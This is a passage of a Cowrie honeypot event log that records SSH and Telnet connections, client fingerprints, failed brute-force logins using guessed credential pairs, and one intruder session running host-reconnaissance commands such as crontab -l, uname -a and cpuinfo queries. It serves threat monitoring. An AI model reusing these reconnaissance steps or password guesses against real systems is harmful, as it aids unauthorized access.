{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.453195Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.456536Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.567325Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.823191Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.826429Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.937853Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.197953Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.201871Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.313637Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.568975Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.571257Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.682364Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.940764Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:53.944496Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:54.056497Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:54.317113Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:54.320813Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:54.432847Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:54.698427Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:54.702050Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:54.814268Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.110908Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.114481Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.226510Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.489684Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.493305Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.606124Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.859949Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.862935Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.974157Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:55.980375Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.45436429977417,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:57.110532Z","src_ip":"137.184.155.248","session":"a738c8f3af95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":31336,"dst_ip":"10.17.0.5","dst_port":22,"session":"ece07ab55b38","protocol":"ssh","message":"New connection: 141.11.21.145:31336 (10.17.0.5:22) [session: ece07ab55b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:02.277857Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:02.361148Z","src_ip":"141.11.21.145","session":"ece07ab55b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":31350,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76c39f1c1f5","protocol":"ssh","message":"New connection: 141.11.21.145:31350 (10.17.0.5:22) [session: e76c39f1c1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:02.444476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:02.449486Z","src_ip":"141.11.21.145","session":"e76c39f1c1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:02.532084Z","src_ip":"141.11.21.145","session":"e76c39f1c1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clz","password":"1qaz@WSX","message":"login attempt [clz/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:02.779903Z","src_ip":"141.11.21.145","session":"e76c39f1c1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:03.866617Z","src_ip":"141.11.21.145","session":"e76c39f1c1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.74536657333374,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:36.148332Z","src_ip":"137.184.155.248","session":"6ea43bcdfcd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":37734,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d5c65b16ce5","protocol":"ssh","message":"New connection: 102.211.152.138:37734 (159.203.135.109:22) [session: 4d5c65b16ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:42.769225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:42.774024Z","src_ip":"102.211.152.138","session":"4d5c65b16ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:42.882572Z","src_ip":"102.211.152.138","session":"4d5c65b16ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123321","message":"login attempt [guest/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:43.346224Z","src_ip":"102.211.152.138","session":"4d5c65b16ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:59:44.456683Z","src_ip":"102.211.152.138","session":"4d5c65b16ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51834,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6718152675d","protocol":"telnet","message":"New connection: 185.26.126.47:51834 (159.203.135.109:23) [session: b6718152675d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:06.549794Z"}
{"eventid":"cowrie.session.closed","duration":120.00173926353455,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:09.237758Z","src_ip":"182.253.54.171","session":"b2777b8be1ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12554,"dst_ip":"10.17.0.5","dst_port":23,"session":"202911b8fd75","protocol":"telnet","message":"New connection: 182.253.54.171:12554 (10.17.0.5:23) [session: 202911b8fd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:14.488648Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":13988,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4c14d8188e","protocol":"telnet","message":"New connection: 182.253.54.171:13988 (10.17.0.5:23) [session: ef4c14d8188e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:17.291829Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":10409,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e53aeaf518","protocol":"telnet","message":"New connection: 182.253.54.171:10409 (10.17.0.5:23) [session: 37e53aeaf518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:19.045648Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.103.229.245","src_port":58422,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7dcb23d7c5","protocol":"telnet","message":"New connection: 200.103.229.245:58422 (10.17.0.5:23) [session: 3d7dcb23d7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:20.365893Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":49754,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b1e3c51ecd8","protocol":"ssh","message":"New connection: 203.90.110.186:49754 (10.17.0.5:22) [session: 6b1e3c51ecd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:23.260486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:23.267219Z","src_ip":"203.90.110.186","session":"6b1e3c51ecd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:23.492554Z","src_ip":"203.90.110.186","session":"6b1e3c51ecd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234567890","message":"login attempt [test/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:24.406678Z","src_ip":"203.90.110.186","session":"6b1e3c51ecd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:25.635237Z","src_ip":"203.90.110.186","session":"6b1e3c51ecd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.122314214706421,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:33.488024Z","src_ip":"200.103.229.245","session":"3d7dcb23d7c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":43152,"dst_ip":"159.203.135.109","dst_port":22,"session":"52754785c091","protocol":"ssh","message":"New connection: 102.211.152.138:43152 (159.203.135.109:22) [session: 52754785c091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:39.135259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:00:39.140820Z","src_ip":"102.211.152.138","session":"52754785c091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh